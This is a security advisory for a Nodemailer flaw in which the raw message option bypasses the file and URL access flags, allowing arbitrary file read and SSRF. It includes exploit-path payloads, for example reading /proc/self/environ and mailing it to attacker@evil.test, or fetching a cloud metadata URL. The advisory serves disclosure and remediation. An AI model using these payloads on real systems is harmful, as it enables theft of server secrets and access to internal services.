Skip to content

GHSA-p6gq-j5cr-w38f CVE-2026-82659

Nodemailer: Message-level raw option bypasses disableFileAccess/disableUrlAccess, enabling arbitrary file read and full-response SSRF in the delivered message

High npm
Severity
7.1 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.35%
Chance of exploitation in the next 30 days. Higher than 28.50% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-73 External Control of File Name or Path
CWE-918 Server-Side Request Forgery (SSRF)
Fix
9.0.1
Upgrade nodemailer to this version or later

Description

Message-level raw option bypasses disableFileAccess / disableUrlAccess, enabling arbitrary file read and full-response SSRF in the sent message

  • Target: nodemailer/nodemailer, npm nodemailer v9.0.0 (HEAD 4e58450eb490e5097a74b2b2cce35a8d9e21856e)
  • Verdict: CONFIRMED (local PoC, no network)

Summary

Nodemailer exposes disableFileAccess and disableUrlAccess so an application that passes untrusted message data to the library can forbid that data from reading local files or fetching URLs. Every attachment, alternative, html/text/watchHtml/amp and icalEvent content node honors these flags. The message-level raw option does not.

MailComposer.compile() builds the root MIME node for a raw message without threading the two flags, so a raw: { path: '/etc/passwd' } or raw: { href: 'http://169.254.169.254/…' } message is read / fetched anyway, and the file or HTTP-response bytes become the actual message that is sent by every transport (SMTP, SES, sendmail, stream, JSON). An actor whose input the application intended to sandbox therefore obtains arbitrary local-file disclosure and a full-response SSRF primitive, delivered to a recipient the same actor can choose.

This is the same vulnerability class as the already-published jsonTransport advisory GHSA-wqvq-jvpq-h66f, but a distinct code path (raw root node, not normalize()), and strictly higher impact: the jsonTransport bug only affected the locally-returned JSON, whereas this affects the delivered RFC822 message for all transports.

Affected component

  • lib/mail-composer/index.js:34-35 — root cause:
    if (this.mail.raw) {
        this.message = new MimeNode('message/rfc822', { newline: this.mail.newline }).setRaw(this.mail.raw);
    }
    
    The MimeNode is constructed with only { newline }. Compare the sibling node builders _createMixed/_createAlternative/_createRelated/_createContentNode (lib/mail-composer/index.js:389-527), which all pass disableUrlAccess: this.mail.disableUrlAccess, disableFileAccess: this.mail.disableFileAccess.
  • lib/mime-node/index.js:51-52 — the constructor derives this.disableFileAccess/ this.disableUrlAccess solely from its own options; children do not inherit a parent's flags (createChild/appendChild, lines 175-194, pass options through verbatim).
  • lib/mime-node/index.js:812 — setRaw() content is resolved through this._getStream(this._raw).
  • lib/mime-node/index.js:984-1010 — _getStream reads the file (fs.createReadStream, 995) or fetches the URL (nmfetch, 1009) only guarded by this.disableFileAccess/this.disableUrlAccess, which on the raw root node are false.
  • Reached from the normal send flow at lib/mailer/index.js:188 (mail.message = new MailComposer(mail.data).compile()), so every transport is affected.

Reachability gate (hop-by-hop)

  1. Source. Application calls transporter.sendMail({ raw: <userControlled> , to: <userControlled> }) with disableFileAccess: true and/or disableUrlAccess: true configured on the transporter (forced onto mail.data in lib/mailer/mail-message.js:36-40) or per message. This is the exact scenario the flags exist for — the same precondition under which GHSA-wqvq-jvpq-h66f was accepted.
  2. Guard — the access flags. For attachments the flag is enforced: a node created by _createContentNode carries disableFileAccess, so _getStream throws EFILEACCESS. Bypass: the raw branch (compile():34-35) never sets the flag on its node, so this.disableFileAccess === false and the guard at mime-node:985 / :999 is skipped. There is no other validation between mail.raw and the read; raw content shapes ({path}, {href}, stream, string, buffer) are accepted as-is by setRaw/_getStream.
  3. Sink. fs.createReadStream(content.path) (file disclosure) or nmfetch(content.href, …) (SSRF). The resulting bytes are emitted as the message body by createReadStream(), which every transport pipes to its destination (smtp-transport:233, smtp-pool/pool-resource:208, ses-transport:96, sendmail-transport:184, stream-transport:67).

No guard blocks the chain; the only guard (the access flags) is structurally absent on this node.

Root cause

Inconsistent enforcement: the access policy is applied per-MimeNode via constructor options and must be re-passed at every node creation. The raw-message shortcut in compile() omits it, while all five other node builders include it. The flags are therefore enforced for every content type except the one that lets the caller supply a complete message body by path/URL.

Exploit path

Application that sandboxes untrusted mail input (disableFileAccess/disableUrlAccess set):

  1. Untrusted actor supplies raw: { path: '/proc/self/environ' } (or any server file: /app/.env, key material, etc.) and to: attacker@evil.test.
  2. compile() builds the raw root node without the flags; the transport reads the file and sends its contents as the message → arbitrary server-file exfiltration to an attacker-chosen mailbox.
  3. Alternatively raw: { href: 'http://127.0.0.1:8080/admin' } or a cloud metadata URL → Nodemailer fetches it server-side and delivers the full response body in the email → full-response SSRF (no blind-channel limitation).

Impact

  • Confidentiality (High): arbitrary local file read disclosed in the outgoing message; full-response SSRF to internal/metadata endpoints, also disclosed in the message.
  • Integrity (Low): attacker-fetched/file content is injected into the delivered mail.
  • The two protective flags an application relies on to contain untrusted input are silently ineffective for raw.

Preconditions

The application (a) passes disableFileAccess and/or disableUrlAccess (the documented sandboxing flags) and (b) lets untrusted input influence the raw field (and, for maximal disclosure, to). No other configuration is required; all bundled transports are affected. This mirrors the accepted precondition of GHSA-wqvq-jvpq-h66f.

Severity

  • AV — message data routinely originates over the network in the apps these flags protect.
  • AC — a single crafted raw object; deterministic.
  • PR — the actor is a user whose input the app already treats as untrusted (the reason the flags are set); not fully anonymous in the typical deployment.
  • UI — no victim interaction.
  • S — impact within Nodemailer's process scope.
  • C — arbitrary file read and full-response SSRF, both delivered to an attacker-chosen recipient. (The sibling jsonTransport advisory used C:L because its leak stayed in locally-returned JSON; here the bytes leave the system in the sent message, so C:H is warranted.)
  • I — attacker injects fetched/file bytes into the outgoing message.
  • A. Note: if a deployment fixes the recipient (to not attacker-controlled) the disclosure channel narrows and the rating degrades toward the sibling's Medium; the High rating reflects the reasonable worst case where raw and to are both untrusted.

Adversarial re-read (attempts to refute)

  1. "raw content is by-design trusted, so the flags shouldn't apply." Rejected: every other content path (attachments, alternatives, html/text, icalEvent) honors the flags, and the maintainer already accepted GHSA-wqvq-jvpq-h66f for exactly this "untrusted input + flag set" model. The asymmetry — attachment {path} is blocked but raw:{path} is not — is the bug, and the PoC's CONTROL case proves the flag is otherwise effective on the same file.
  2. "The raw node inherits the flags via rootNode." Rejected by code and by PoC: compile():35 constructs the node with { newline } only; MimeNode constructor sets this.disableFileAccess = !!options.disableFileAccess → false; rootNode is itself; no inheritance exists.
  3. "The PoC leaks for an unrelated reason." Rejected: the CONTROL message (attachments:[{path}], same file, same transporter) returns EFILEACCESS; only the raw:{path} message leaks. The sentinel nonce exists solely in the temp file; the URL nonce is generated server-side and is only obtainable by an actual fetch. Both observables are uniquely bound to the bypass.
  4. "Maybe only jsonTransport (already reported) is affected." Rejected: the PoC uses streamTransport and the root cause is in MailComposer.compile() (mailer:188), shared by all transports; jsonTransport is a different (already-fixed) path.

I could not find any guard that blocks the chain; the finding survives.

Proof of concept (safe, benign)

findings/nodemailer/raw/poc-raw-fileaccess-bypass.js — local, no network egress (loopback only), no destructive action. Output:

[CONTROL] attachment path with disableFileAccess: BLOCKED (EFILEACCESS) — flag works here
[ATTACK]  raw:{path} with disableFileAccess=true: BYPASSED — sentinel file CONTENT present in message
[ATTACK]  raw:{href} with disableUrlAccess=true (loopback server): BYPASSED — fetched body present (SSRF)
VERDICT: CONFIRMED

Run: node findings/nodemailer/raw/poc-raw-fileaccess-bypass.js (exit 0 = confirmed).

Remediation

Thread the access policy onto the raw root node, exactly as the other builders do:

if (this.mail.raw) {
    this.message = new MimeNode('message/rfc822', {
        newline: this.mail.newline,
        disableFileAccess: this.mail.disableFileAccess,
        disableUrlAccess: this.mail.disableUrlAccess
    }).setRaw(this.mail.raw);
}

(Defense in depth: setRaw/_getStream could also refuse {path}/{href} raw content when either flag is set, regardless of how the node was constructed.) Add a regression test asserting that raw:{path} and raw:{href} reject with EFILEACCESS/EURLACCESS when the flags are set, mirroring the attachment tests.

Affected versions

npm

PackageVulnerableFixed in
nodemailer
< 9.0.1
9.0.1

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

nodemailer npm → 9.0.1

npm
npm install nodemailer@9.0.1
yarn
yarn add nodemailer@9.0.1
pnpm
pnpm add nodemailer@9.0.1

Severity breakdown

CVSS 4.0 7.1

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
Low
User interaction
None
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
Low
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None
Exploit maturity
Not defined
Scope
X

CVSS 3.1 7.1

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
None

Weakness

CWE-73: External Control of File Name or Path

The product allows user input to control or influence paths or file names that are used in filesystem operations.

How to prevent it
  • Architecture and Design: When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.
  • Architecture and Design, Operation: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
  • Implementation: Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).
  • Installation, Operation: Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.
  • Operation, Implementation: If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
  • Testing: Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

CWE-918: Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-8c8m-p3m8-cjg8
Nodemailer: A nested comment ends early in addressparser, releasing the rest of the comment as a recipient
Medium Also affects nodemailer
GHSA-m943-m63m-w62w
Nodemailer: A ";" inside a quoted string or comment ends an address group early in addressparser, turning display text into a recipient
Medium Also affects nodemailer
GHSA-85x2-q946-cp5h
Nodemailer: A ">" inside a quoted local part ends an angle-addr early in addressparser, delivering to a domain the header does not name
Medium Also affects nodemailer
GHSA-4g23-2xm8-66gc
Nodemailer: Quadratic (O(n^2)) SMTP client reply parsing lets a malicious server or MITM cause a pre-auth remote denial of service
High Also affects nodemailer
GHSA-39m8-27wv-hr27
Nodemailer: Quadratic (O(n^2)) DKIM header unfolding lets a large folded header cause remote denial of service during signing
High Also affects nodemailer
GHSA-g73g-hqqh-jr95
Nodemailer: RFC 5322 comment inside an angle-bracket address is never stripped
Medium Also affects nodemailer
GHSA-4ffr-jq9g-5ffx
Nodemailer: Quadratic backtracking in SMTP AUTH mechanism detection regexes allows pre-auth remote denial of service
High Also affects nodemailer
GHSA-8vvx-rff5-p5rq
Nodemailer: Nested structured recipient arrays bypass the parser depth limit and cause stack exhaustion DoS
High Also affects nodemailer
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor